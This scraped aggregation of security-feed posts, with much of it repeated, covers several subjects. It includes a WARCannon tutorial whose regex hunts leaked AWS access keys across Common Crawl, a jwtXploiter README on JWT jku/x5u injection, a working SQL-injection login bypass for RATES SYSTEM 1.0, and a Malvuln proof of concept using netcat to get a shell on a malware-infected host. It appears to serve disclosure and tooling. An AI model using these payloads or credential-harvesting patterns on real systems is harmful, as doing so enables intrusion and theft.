Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Offensive Security Tool: Warcannon https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Offensive Security Tool: WarcannonPost Views: 143 https://www.blackhatethicalhacking.com/wp…
erminated after this time if the job has still not completed. Default value is 24 hours.
sshPubkey: A public SSH key to facilitate remote access to nodes for troubleshooting.
allowSSHFrom: A CIDR mask to allow SSH from. Typically this will be <yourpublicip/32 Grepping the InternetWARCannon is fed by Common Crawl via the AWS Open Data program. Common Crawl is unique in that the data retrieved by their spiders not only captures website text, but also other text-based content like JavaScript, TypeScript, full HTML, CSS, etc. By constructing suitable Regular Expressions capable of identifying unique components, researchers can identify websites by the technologies they use, and do so without ever touching the website themselves. The problem is that this requires parsing hundreds of terabytes of data, which is a tall order no matter what resources you have at your disposal. Developing Regular ExpressionsGrepping the internet isn’t for the faint of heart, but starting with an effective seive is the first start. WARCannon supports this by enabling local verification of regular expressions against real Common Crawl data. First, open lambda_functions/warcannon/matches.js and modify the regex_patterns object to include the regular expressions you wish to use in name: pattern format. Here’s an example from the default search set:
exports.regex_patterns = {
“access_key_id”: /(\’A|”A)(SIA|KIA|IDA|ROA)[JI][A-Z0-9]{14}[AQ][\'”]/g,
};
Strings matching this expression will be saved under the corresponding key in the results; access_key_id in this case.
Protip: Use RegExr with the ‘JavaScript’ format to build and test regular expressions against known-good matches.
You also have the option of only capturing results from specified domains. To do this, simply populate the domains array with the FQDNs that you wish to include. It is recommended that you leave this empty [] since it’s almost never worthwhile (the processing effort saved is very small), but it can be useful in some niche cases.
exports.domains = [“example1.com”, “example2.com”];
Once the matches.js is populated, run the following command:
warcannon$ ./warcannon testLocal warc_path>
WARCannon will then download the warc and parse it with your configured matches. There are a few quality-of-life things that WARCannon does by default that you should be aware of:
1. WARCannon will download the warc to /tmp/warcannon.testLocal on first run, and will re-use the downloaded warc from then on even if you change the warc_path. If you wish to use a different warc, you must delete this file.
2. WARCs are large; most coming in at just over 1GB. WARCannon uses the CLI for multi-threaded downloads, but if you have slow internet, you’ll need to exercise patience the first time around.
On top of everything else, WARCannon will attempt to evaluate the total compute cost of your regular expressions when run locally. This way, you can be informed if a given regular expression will significantly impact performance before you execute your campaign.
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/687474703a2f2f633666632e696f2f77617263616e6e6f6e2d6465762e706e67.png Performing Custom ProcessingSometimes a simple regex pattern isn’t sufficient on its own, and you need some additional steps to ensure you’re returning the right information. In this case, simply adding a function to the exports.custom_functions object with the same key name allows you to perform any additional processing you see fit.
exports.regex_patterns = {
“access_key_id”: /(\’A|”A)(SIA|KIA|IDA|ROA)[JI][A-Z0-9]{14}[AQ][\'”]/g,
};
exports.custom_functions = {
“access_key_id”: function(match) {
// Ignore matches with ‘EXAMPLE’ in the text, since this is common for documentation.
if (match.text(/EXAMPLE/) != null) {
// Returning a boolean ‘false’ discards the match.
return false
}
}
}
Note: WARCannon is meant to crunch through text at stupid[...]
sshPubkey: A public SSH key to facilitate remote access to nodes for troubleshooting.
allowSSHFrom: A CIDR mask to allow SSH from. Typically this will be <yourpublicip/32 Grepping the InternetWARCannon is fed by Common Crawl via the AWS Open Data program. Common Crawl is unique in that the data retrieved by their spiders not only captures website text, but also other text-based content like JavaScript, TypeScript, full HTML, CSS, etc. By constructing suitable Regular Expressions capable of identifying unique components, researchers can identify websites by the technologies they use, and do so without ever touching the website themselves. The problem is that this requires parsing hundreds of terabytes of data, which is a tall order no matter what resources you have at your disposal. Developing Regular ExpressionsGrepping the internet isn’t for the faint of heart, but starting with an effective seive is the first start. WARCannon supports this by enabling local verification of regular expressions against real Common Crawl data. First, open lambda_functions/warcannon/matches.js and modify the regex_patterns object to include the regular expressions you wish to use in name: pattern format. Here’s an example from the default search set:
exports.regex_patterns = {
“access_key_id”: /(\’A|”A)(SIA|KIA|IDA|ROA)[JI][A-Z0-9]{14}[AQ][\'”]/g,
};
Strings matching this expression will be saved under the corresponding key in the results; access_key_id in this case.
Protip: Use RegExr with the ‘JavaScript’ format to build and test regular expressions against known-good matches.
You also have the option of only capturing results from specified domains. To do this, simply populate the domains array with the FQDNs that you wish to include. It is recommended that you leave this empty [] since it’s almost never worthwhile (the processing effort saved is very small), but it can be useful in some niche cases.
exports.domains = [“example1.com”, “example2.com”];
Once the matches.js is populated, run the following command:
warcannon$ ./warcannon testLocal warc_path>
WARCannon will then download the warc and parse it with your configured matches. There are a few quality-of-life things that WARCannon does by default that you should be aware of:
1. WARCannon will download the warc to /tmp/warcannon.testLocal on first run, and will re-use the downloaded warc from then on even if you change the warc_path. If you wish to use a different warc, you must delete this file.
2. WARCs are large; most coming in at just over 1GB. WARCannon uses the CLI for multi-threaded downloads, but if you have slow internet, you’ll need to exercise patience the first time around.
On top of everything else, WARCannon will attempt to evaluate the total compute cost of your regular expressions when run locally. This way, you can be informed if a given regular expression will significantly impact performance before you execute your campaign.
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/687474703a2f2f633666632e696f2f77617263616e6e6f6e2d6465762e706e67.png Performing Custom ProcessingSometimes a simple regex pattern isn’t sufficient on its own, and you need some additional steps to ensure you’re returning the right information. In this case, simply adding a function to the exports.custom_functions object with the same key name allows you to perform any additional processing you see fit.
exports.regex_patterns = {
“access_key_id”: /(\’A|”A)(SIA|KIA|IDA|ROA)[JI][A-Z0-9]{14}[AQ][\'”]/g,
};
exports.custom_functions = {
“access_key_id”: function(match) {
// Ignore matches with ‘EXAMPLE’ in the text, since this is common for documentation.
if (match.text(/EXAMPLE/) != null) {
// Returning a boolean ‘false’ discards the match.
return false
}
}
}
Note: WARCannon is meant to crunch through text at stupid[...]
Hacking Articles Tips Tricks Videos Tutorials
erminated after this time if the job has still not completed. Default value is 24 hours. sshPubkey: A public SSH key to facilitate remote access to nodes for troubleshooting. allowSSHFrom: A CIDR mask to allow SSH from. Typically this will be <yourpublicip/32…
speeds. While it’s certainly possible to perform any type of operation you’d like, adding high-latency custom functions such as network calls can significantly increase processing time and costs. Network calls could also result in LOTS of calls against a website, which could get you in trouble. Be smart about how you use these functions. Performing a One-Off Test in AWSThe costs of AWS can be anxiety-inducing, especially when you’re only looking to do some research. WARCannon is built to allow both one-off executions in addition to full campaigns, so you can be confident in the results you’ll get back. Once you’re happy with the results you get with testLocal, you can deploy your updated matches and run a cloud-backed test easily:
warcannon$ ./warcannon deploy
warcannon$ ./warcannon test warc_path>
This will synchronously execute a Lambda function with the regular expressions you’ve configured, and immediately return the results. This process takes about 2.5 minutes, so don’t be afraid to wait while it does its magic. Launching a Real CampaignOnce you’re happy with the results you get in Lambda, you’re ready to grep the internet for real. We’ll first go over some basic housekeeping, then kick it off. Clearing the QueueWARCannon uses AWS Simple Queue Service to distribute work to the compute nodes. To ensure that your results aren’t tainted with any prior runs, you can tell WARCannon to empty the queue:
warcannon$ ./warcannon emptyQueue
[+] Cleared [ 15 ] messages from the queue
You can then verify the state of the queue:
warcannon$ ./warcannon status
Deployed: [ YES ]; SQS Status: [ EMPTY ]
Job Status: [ INACTIVE ]
Active job url: https://d201offlnmhkmd.cloudfront.net
Verify the following before proceeding:
1. The SQS Queue is empty
2. The job status is ‘INACTIVE’ Populating the Queue (Simple)In order to create the queue messages that the compute nodes will consume, you must first populate SQS with crawl data. WARCannon has several commands to help with this, starting with the ability to show the available scans. In this case, let’s look at the scans available for the year 2021:
warcannon$ ./warcannon list 2021
CC-MAIN-2021-04
CC-MAIN-2021-10
We have two scans matching the string “2021” to work with. We can now instruct WARCannon to populate the queue based on one of these scans. This time, we need to provide a parameter that uniquely identifies one of the scans. “2021-04” will do the trick. We could choose to populate only a partial scan by also specifying a number of chunks and a chunk size, but we’ll skip that for now.
warcannon$ ./warcannon populate 2021-04
{Created 799 chunks of 100 from 79840 available segments“
“StatusCode“: 200,
“ExecutedVersion“: “$LATEST“
}
See Also: Microsoft Warns: Another Unpatched PrintNightmare Zero-Day Populating the Queue via Athena (Advanced)During deployment, WARCannon automatically provisions a database (warcannon_commoncrawl) and workgroup (warcannon) in Athena that can be used to rapidly query information from CommonCrawl. This can be especially useful for populating sparse campaigns based on certain queries. For example, the following query will search for WARCs that contain responses from ‘example.com’
SELECT
warc_filename,
COUNT(url_path) as num
FROM
warcannon_commoncrawl.ccindex
WHERE
subset = ‘warc’ AND
url_host_registered_domain IN (‘example.com’) AND
crawl = ‘CC-MAIN-2021-04’
GROUP BY warc_filename
ORDER BY num DESC
You can use the Athena console to fine-tune your results, but you must run the query from the WARCannon command line if you intend to populate a job with it:
./warcannon queryAthena “SELECT warc_filename, COUNT(url_path) as num FROM warcannon_commoncrawl.ccindex WHERE subset = ‘warc’ AND url_host_registered_domain IN (‘example.com’) AND crawl = ‘CC-MAIN-2021-04’ GROUP BY warc_filename ORDER BY num DESC”
[+] Query Exec Id: 0319486e-1846-491c-badf-2e23ae213974 .. S[...]
warcannon$ ./warcannon deploy
warcannon$ ./warcannon test warc_path>
This will synchronously execute a Lambda function with the regular expressions you’ve configured, and immediately return the results. This process takes about 2.5 minutes, so don’t be afraid to wait while it does its magic. Launching a Real CampaignOnce you’re happy with the results you get in Lambda, you’re ready to grep the internet for real. We’ll first go over some basic housekeeping, then kick it off. Clearing the QueueWARCannon uses AWS Simple Queue Service to distribute work to the compute nodes. To ensure that your results aren’t tainted with any prior runs, you can tell WARCannon to empty the queue:
warcannon$ ./warcannon emptyQueue
[+] Cleared [ 15 ] messages from the queue
You can then verify the state of the queue:
warcannon$ ./warcannon status
Deployed: [ YES ]; SQS Status: [ EMPTY ]
Job Status: [ INACTIVE ]
Active job url: https://d201offlnmhkmd.cloudfront.net
Verify the following before proceeding:
1. The SQS Queue is empty
2. The job status is ‘INACTIVE’ Populating the Queue (Simple)In order to create the queue messages that the compute nodes will consume, you must first populate SQS with crawl data. WARCannon has several commands to help with this, starting with the ability to show the available scans. In this case, let’s look at the scans available for the year 2021:
warcannon$ ./warcannon list 2021
CC-MAIN-2021-04
CC-MAIN-2021-10
We have two scans matching the string “2021” to work with. We can now instruct WARCannon to populate the queue based on one of these scans. This time, we need to provide a parameter that uniquely identifies one of the scans. “2021-04” will do the trick. We could choose to populate only a partial scan by also specifying a number of chunks and a chunk size, but we’ll skip that for now.
warcannon$ ./warcannon populate 2021-04
{Created 799 chunks of 100 from 79840 available segments“
“StatusCode“: 200,
“ExecutedVersion“: “$LATEST“
}
See Also: Microsoft Warns: Another Unpatched PrintNightmare Zero-Day Populating the Queue via Athena (Advanced)During deployment, WARCannon automatically provisions a database (warcannon_commoncrawl) and workgroup (warcannon) in Athena that can be used to rapidly query information from CommonCrawl. This can be especially useful for populating sparse campaigns based on certain queries. For example, the following query will search for WARCs that contain responses from ‘example.com’
SELECT
warc_filename,
COUNT(url_path) as num
FROM
warcannon_commoncrawl.ccindex
WHERE
subset = ‘warc’ AND
url_host_registered_domain IN (‘example.com’) AND
crawl = ‘CC-MAIN-2021-04’
GROUP BY warc_filename
ORDER BY num DESC
You can use the Athena console to fine-tune your results, but you must run the query from the WARCannon command line if you intend to populate a job with it:
./warcannon queryAthena “SELECT warc_filename, COUNT(url_path) as num FROM warcannon_commoncrawl.ccindex WHERE subset = ‘warc’ AND url_host_registered_domain IN (‘example.com’) AND crawl = ‘CC-MAIN-2021-04’ GROUP BY warc_filename ORDER BY num DESC”
[+] Query Exec Id: 0319486e-1846-491c-badf-2e23ae213974 .. S[...]
Hacking Articles Tips Tricks Videos Tutorials
speeds. While it’s certainly possible to perform any type of operation you’d like, adding high-latency custom functions such as network calls can significantly increase processing time and costs. Network calls could also result in LOTS of calls against a website…
UCCEEDED
WARCannon can then use the results of a query to populate the queue, and does so based on the warc_filename column from the resultset. As such, it’s recommended that you either group by this column or use distinct() to avoid duplicates. WARCannon will throw an error if this field isn’t present. Populate the queue with Athena results by passing the Query Execution ID to the populateAthena command.
./warcannon populateAthena 0319486e-1846-491c-badf-2e23ae213974
{Created 26 chunks of 10 from 251 available segments“
“StatusCode“: 200,
“ExecutedVersion“: “$LATEST“
}
Note: While populating a sparse job for a single domain might seem like a good idea, it often isn’t. The responses from a single domain tend to be spread widely across a large subset of WARCs. This can be seen clearly using the example query above to see that of the ~150,000 records in each WARC, the largest single hit for moderate-sized websites can be in the single-digits. Firing the WARCannonWith the queue populated, we’re ready to fire. WARCannon will do a few sanity checks to ensure everything is in order, then show you the configuration of the campaign and give you one last opportunity to abort before you finalize the order.
warcannon$ ./warcannon fire
[!] This will request [ 6 ] spot instances of type [ m5n.24xlarge, m5dn.24xlarge ]
lasting for [ 86400 ] seconds.
To change this, edit your settings in settings.json and run ./warcannon deploy
—> Ready to fire? [Yes]:
Pull the trigger by responding with ‘Yes’.
—> Ready to fire? [Yes]: Yes
{
“SpotFleetRequestId”: “sfr-03dd32b8-51f7-4c8e-802b-a702fc3c8c95”
}
[+] Spot fleet request has been sent, and nodes should start coming online within ~5 minutes.
Monitor node status and progress at https://d201offlnmhkmd.cloudfront.net
The response includes a link to your unique status URL, where you can monitor the progress of your campaign and the performance of each node.
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/687474703a2f2f633666632e696f2f77617263616e6e6f6e2d70726f67726573732e706e67.png Obtaining ResultsWARCannon results are stored in S3 in JSON format, broken down by each node responsible for producing the results. Athena results are stored in the same bucket under the /athena/ prefix. You can sync the results of a campaign to the ./warcannon/results/ folder on your local machine using the syncResults command.
./warcannon syncResults
sync: s3://warcannon-results-202…
sync: s3://warcannon-results-202…
sync: s3://warcannon-results-202…
…
You can then empty the results buckets with clearResults
./warcannon clearResults
delete: s3://warcannon-results-202…
delete: s3://warcannon-results-202…
delete: s3://warcannon-results-202…
…
[+] Deleted [ 21 ] files from S3.
See Also: Offensive Security Tool: Mimikatz Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/2-7-90x90.png Offensive Security Tool: Mimikatz7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Screenshot_20210729_145513-90x90.png Offensive Security Tool: Ruler2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/VoIPsniffer-90x90.png Offensive Security Tool: VoIPmonitor Sniffer3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/57177630ce750eb1ad40649424d04b9c-90x90.jpeg Offensive Security Tool: Veil4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Untitled-design-90x90.png Offensive Security Tool: It Was All A Dream (Windows Print Spooler RCE)1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/unknown-e1625210118591-90x90.png Offensive Security Tool: GoSpider1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/3Gn0bEI-e1624621931936-90x90.png Offensive Security Tool: Pixload2 months ago
[...]
WARCannon can then use the results of a query to populate the queue, and does so based on the warc_filename column from the resultset. As such, it’s recommended that you either group by this column or use distinct() to avoid duplicates. WARCannon will throw an error if this field isn’t present. Populate the queue with Athena results by passing the Query Execution ID to the populateAthena command.
./warcannon populateAthena 0319486e-1846-491c-badf-2e23ae213974
{Created 26 chunks of 10 from 251 available segments“
“StatusCode“: 200,
“ExecutedVersion“: “$LATEST“
}
Note: While populating a sparse job for a single domain might seem like a good idea, it often isn’t. The responses from a single domain tend to be spread widely across a large subset of WARCs. This can be seen clearly using the example query above to see that of the ~150,000 records in each WARC, the largest single hit for moderate-sized websites can be in the single-digits. Firing the WARCannonWith the queue populated, we’re ready to fire. WARCannon will do a few sanity checks to ensure everything is in order, then show you the configuration of the campaign and give you one last opportunity to abort before you finalize the order.
warcannon$ ./warcannon fire
[!] This will request [ 6 ] spot instances of type [ m5n.24xlarge, m5dn.24xlarge ]
lasting for [ 86400 ] seconds.
To change this, edit your settings in settings.json and run ./warcannon deploy
—> Ready to fire? [Yes]:
Pull the trigger by responding with ‘Yes’.
—> Ready to fire? [Yes]: Yes
{
“SpotFleetRequestId”: “sfr-03dd32b8-51f7-4c8e-802b-a702fc3c8c95”
}
[+] Spot fleet request has been sent, and nodes should start coming online within ~5 minutes.
Monitor node status and progress at https://d201offlnmhkmd.cloudfront.net
The response includes a link to your unique status URL, where you can monitor the progress of your campaign and the performance of each node.
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/687474703a2f2f633666632e696f2f77617263616e6e6f6e2d70726f67726573732e706e67.png Obtaining ResultsWARCannon results are stored in S3 in JSON format, broken down by each node responsible for producing the results. Athena results are stored in the same bucket under the /athena/ prefix. You can sync the results of a campaign to the ./warcannon/results/ folder on your local machine using the syncResults command.
./warcannon syncResults
sync: s3://warcannon-results-202…
sync: s3://warcannon-results-202…
sync: s3://warcannon-results-202…
…
You can then empty the results buckets with clearResults
./warcannon clearResults
delete: s3://warcannon-results-202…
delete: s3://warcannon-results-202…
delete: s3://warcannon-results-202…
…
[+] Deleted [ 21 ] files from S3.
See Also: Offensive Security Tool: Mimikatz Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/2-7-90x90.png Offensive Security Tool: Mimikatz7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Screenshot_20210729_145513-90x90.png Offensive Security Tool: Ruler2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/VoIPsniffer-90x90.png Offensive Security Tool: VoIPmonitor Sniffer3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/57177630ce750eb1ad40649424d04b9c-90x90.jpeg Offensive Security Tool: Veil4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Untitled-design-90x90.png Offensive Security Tool: It Was All A Dream (Windows Print Spooler RCE)1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/unknown-e1625210118591-90x90.png Offensive Security Tool: GoSpider1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/3Gn0bEI-e1624621931936-90x90.png Offensive Security Tool: Pixload2 months ago
[...]
Hacking Articles Tips Tricks Videos Tutorials
UCCEEDED WARCannon can then use the results of a query to populate the queue, and does so based on the warc_filename column from the resultset. As such, it’s recommended that you either group by this column or use distinct() to avoid duplicates. WARCannon…
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Vqwdgis-90x90.png Offensive Security Tool: SecretFinder2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/3v1wot9-90x90.png Offensive Security Tool: CloudFail2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Screenshot_2021-06-04_053854-90x90.png Offensive Security Tool: Pacu – The Amazon Web Services Exploitation Framework2 months ago
style="display:block; text-align:center;"
data-ad-layout="in-article"
data-ad-format="fluid"
data-ad-client="ca-pub-6620833063853657"
data-ad-slot="4517761481">
The post Offensive Security Tool: Warcannon first appeared on Black Hat Ethical Hacking.
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/3v1wot9-90x90.png Offensive Security Tool: CloudFail2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Screenshot_2021-06-04_053854-90x90.png Offensive Security Tool: Pacu – The Amazon Web Services Exploitation Framework2 months ago
style="display:block; text-align:center;"
data-ad-layout="in-article"
data-ad-format="fluid"
data-ad-client="ca-pub-6620833063853657"
data-ad-slot="4517761481">
The post Offensive Security Tool: Warcannon first appeared on Black Hat Ethical Hacking.
jwtXploiter - A Tool To Test Security Of Json Web Token
http://www.kitploit.com/2021/08/jwtxploiter-tool-to-test-security-of.html
http://www.kitploit.com/2021/08/jwtxploiter-tool-to-test-security-of.html
A tool to test security of JSON Web Tokens. Test a JWT against all known CVEs; Tamper with the token payload: changes claims and subclaims values. Exploit known vulnerable (https://www.kitploit.com/search/label/Vulnerable) header claims (kid, jku, x5u) Verify a token Retrieve the public key of your target's ssl connection and try to use it in a key confusion attack with one option only All JWAs supported Generates a JWK and insert it in the token header And much, much more!
Wiki
Read the wiki! wiki (https://github.com/DontPanicO/jwtXploiter/wiki)
Installation
N.B. Cloning the repository should be avoided except for development purposes! N.B. Deb package has to be considered beta With rpm: wget http://andreatedeschi.uno/jwtxploiter/jwtxploiter-1.2.1-1.noarch.rpm
sudo rpm --install jwtxploiter-1.2.1-1.noarch.rpm or, if previous version is installed on your machine sudo rpm --upgrade jwtxploiter-1.2.1-1.noarch.rpm With pip: sudo pip install jwtxploiter With deb: wget http://andreatedeschi.uno/jwtxploiter/jwtxploiter_1.2.1-1_all.deb
sudo dpkg -i jwtxploiter_1.2.1-1_all.deb Cloing the repo: git clone https://github.com/DontPanicO/jwtXploiter.git
./install.sh N.B. python3-pip package is required to install dependencies, be sure to have it installed.
Who this tool is written for?
Web Application Penetration Tester / Bug Bounty Hunters This tool has been written with the aim of become a key part of pentesters (https://www.kitploit.com/search/label/Pentesters) toolkit. Devs who need to test the secuirty of JWTs used in their applications CTF Players Not For Students Since this tool automates lot of stuff, without force the user to know what's happening under the hood, it won't help you to understand the vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) it exploits.
To Know
For attacks that generates a jwks file, you could find it in the current working directory. Remeber to deletes such files in order to avoid conflicts. For jku/x5u injection (https://www.kitploit.com/search/label/Injection) that needs to merge two urls (the server vulnerable url and your one), the HERE keyword is required. For redirect attacks the keyword should replace the redirect url, e.g. http://app.com/foo?redirect=bar&some=thing --> http://app.com/foo?redirect=HERE&some=thing For jku/x5u injections via HTTP header injection attacks, the HERE keyword sould be appended to the vulnerable parameter, without replacing its value, e.g. http://app.com/foo?param=value --> http://app.com/foo?param=valueHERE Also, in such cases, be sure to pass the server url and your one as comma separated values. '/.well-known/jwks.json' is automatically appended to your url in jku/x5u attacks. So make sure to place the jwks file under this path on your server. If you don't want that happen, use the --manual option, but this option is compatible only with --jku-basic and --x5u-basic so, you will need to manually craft the url and pass it to those options, even for attacks that exploit Open Redirect (https://www.kitploit.com/search/label/Open%20Redirect) or HTTP header injection. Look at the wiki for a detailed documentation.
Download jwtXploiter (https://github.com/DontPanicO/jwtXploiter)
Wiki
Read the wiki! wiki (https://github.com/DontPanicO/jwtXploiter/wiki)
Installation
N.B. Cloning the repository should be avoided except for development purposes! N.B. Deb package has to be considered beta With rpm: wget http://andreatedeschi.uno/jwtxploiter/jwtxploiter-1.2.1-1.noarch.rpm
sudo rpm --install jwtxploiter-1.2.1-1.noarch.rpm or, if previous version is installed on your machine sudo rpm --upgrade jwtxploiter-1.2.1-1.noarch.rpm With pip: sudo pip install jwtxploiter With deb: wget http://andreatedeschi.uno/jwtxploiter/jwtxploiter_1.2.1-1_all.deb
sudo dpkg -i jwtxploiter_1.2.1-1_all.deb Cloing the repo: git clone https://github.com/DontPanicO/jwtXploiter.git
./install.sh N.B. python3-pip package is required to install dependencies, be sure to have it installed.
Who this tool is written for?
Web Application Penetration Tester / Bug Bounty Hunters This tool has been written with the aim of become a key part of pentesters (https://www.kitploit.com/search/label/Pentesters) toolkit. Devs who need to test the secuirty of JWTs used in their applications CTF Players Not For Students Since this tool automates lot of stuff, without force the user to know what's happening under the hood, it won't help you to understand the vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) it exploits.
To Know
For attacks that generates a jwks file, you could find it in the current working directory. Remeber to deletes such files in order to avoid conflicts. For jku/x5u injection (https://www.kitploit.com/search/label/Injection) that needs to merge two urls (the server vulnerable url and your one), the HERE keyword is required. For redirect attacks the keyword should replace the redirect url, e.g. http://app.com/foo?redirect=bar&some=thing --> http://app.com/foo?redirect=HERE&some=thing For jku/x5u injections via HTTP header injection attacks, the HERE keyword sould be appended to the vulnerable parameter, without replacing its value, e.g. http://app.com/foo?param=value --> http://app.com/foo?param=valueHERE Also, in such cases, be sure to pass the server url and your one as comma separated values. '/.well-known/jwks.json' is automatically appended to your url in jku/x5u attacks. So make sure to place the jwks file under this path on your server. If you don't want that happen, use the --manual option, but this option is compatible only with --jku-basic and --x5u-basic so, you will need to manually craft the url and pass it to those options, even for attacks that exploit Open Redirect (https://www.kitploit.com/search/label/Open%20Redirect) or HTTP header injection. Look at the wiki for a detailed documentation.
Download jwtXploiter (https://github.com/DontPanicO/jwtXploiter)
Taking Over Employee Accounts by Managers with Zero Employee Interaction
https://ahmdhalabi.medium.com/taking-over-employee-accounts-by-managers-with-zero-employee-interaction-b60784c3ad84?source=rss------bug_bounty-5
https://ahmdhalabi.medium.com/taking-over-employee-accounts-by-managers-with-zero-employee-interaction-b60784c3ad84?source=rss------bug_bounty-5
How we was able to takeover whole organization via Privilege Escalation
https://infosecwriteups.com/how-we-was-able-to-takeover-whole-organization-via-privilege-escalation-4f74b31a84a6?source=rss------bug_bounty-5
https://infosecwriteups.com/how-we-was-able-to-takeover-whole-organization-via-privilege-escalation-4f74b31a84a6?source=rss------bug_bounty-5
Hi everyone it’s Yasser again (AKA Neroli)Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/how-we-was-able-to-takeover-whole-organization-via-privilege-escalation-4f74b31a84a6?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
RATES SYSTEM 1.0 SQL Injection
https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
RATES SYSTEM version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass. Original discovery of SQL injection in this version is attributed to Halit Akaydin in August of 2021.
MD5 |
Download
Source:packetstormsecurity.com
RATES SYSTEM 1.0 SQL Injection
https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
RATES SYSTEM version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass. Original discovery of SQL injection in this version is attributed to Halit Akaydin in August of 2021.
MD5 |
f86af52f20f70db508a4b33824dc75a5Download
# Exploit Title: RATES SYSTEM 1.0 - Authentication Bypass
# Date: 2020-08-13
# Exploit Author: Azumah Foresight Xorlali (M4sk0ff)
# Vendor Homepage: https://www.sourcecodester.com/php/14904/rates-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14904&title=RATES+SYSTEM+in+PHP+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux
Description: The authentication bypass vulnerability on the application allows an attacker to log in as Client. This vulnerability affects the "username" parameter on the client login page: http://localhost/rates/login.php
Step 1: On the login page, simply use the query inside the bracket ( ' OR 1 -- - ) as username
Step 2: On the login page, use same query{ ' OR 1 -- -} or anything as password
All set you should be logged in as Client.
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
HackTool.Win32.HKit Remote Command Execution
https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
HackTool.Win32.HKit malware suffers from a remote command execution vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
HackTool.Win32.HKit Remote Command Execution
https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
HackTool.Win32.HKit malware suffers from a remote command execution vulnerability.
MD5 |
5b66b28256e04ad95fd8ee3004cb2187Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6209db6e8cfd7c7a315ca858129bd226.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: HackTool.Win32.HKit
Vulnerability: Unauthenticated Remote Command Execution
Description: HaX0R'Z KiT -- v1.05 malware listens for telnet connections on a specified port. Third-party attackers who can reach the system can execute OS commands further compromising the already infected machine.
Type: PE32
MD5: 6209db6e8cfd7c7a315ca858129bd226
Vuln ID: MVID-2021-0319
Disclosure: 08/12/2021
Exploit/PoC:
HackTool.Win32.HKit.exe /telnetd 0.0.0.0 23
nc64.exe x.x.x.x 23
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Police Crime Record Management System 1.0 SQL Injection
https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
Police Crime Record Management System version 1.0 suffers from a remote SQL injection vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
Police Crime Record Management System 1.0 SQL Injection
https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
Police Crime Record Management System version 1.0 suffers from a remote SQL injection vulnerability.
MD5 |
620d8d17e3d4a8026081f585435dcc5dDownload
# Exploit Title: Police Crime Record Management System 1.0 - 'casedetails' SQL Injection
